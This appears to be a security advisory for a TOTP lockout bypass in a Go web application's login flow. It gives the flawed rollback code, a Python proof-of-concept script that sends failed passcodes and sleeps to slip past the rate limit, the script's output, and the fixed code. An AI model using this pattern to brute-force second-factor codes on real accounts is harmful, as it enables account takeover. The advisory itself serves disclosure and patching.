Python EUVD-2026-21422

if err != nil {
    if user2.IsErrInvalidTOTPPasscode(err) {
        user2.HandleFailedTOTPAuth(s, user)
    }
    _ = s.Rollback()
    return err
}

import requests, time, pyotp

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
# setup: login, enroll and enable TOTP
token = requests.post(f"{API}/login",
    json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"]
secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"]
totp = pyotp.TOTP(secret)
requests.post(f"{API}/user/settings/totp/enable", headers=h(token),
              json={"passcode": totp.now()})
# send 9 failed attempts (rate limit is 10/min)
for i in range(1, 10):
    r = requests.post(f"{API}/login",
        json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
    print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)
time.sleep(65)
for i in range(10, 13):
    r = requests.post(f"{API}/login",
        json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
    print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit, try with valid TOTP
time.sleep(65)
r = requests.post(f"{API}/login",
    json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()})
print(f"Valid TOTP login: {r.status_code}")
# 200 - account was never locked

Attempt 1: 412 code=1017
...
Attempt 9: 412 code=1017
Attempt 10: 412 code=1017
Attempt 11: 412 code=1017
Attempt 12: 412 code=1017
Valid TOTP login: 200

// Use a new session so the lockout persists regardless of caller's rollback
lockoutSession := db.NewSession()
defer lockoutSession.Close()
err = user.SetStatus(lockoutSession, StatusAccountLocked)
if err != nil {
    _ = lockoutSession.Rollback()
    return
}
_ = lockoutSession.Commit()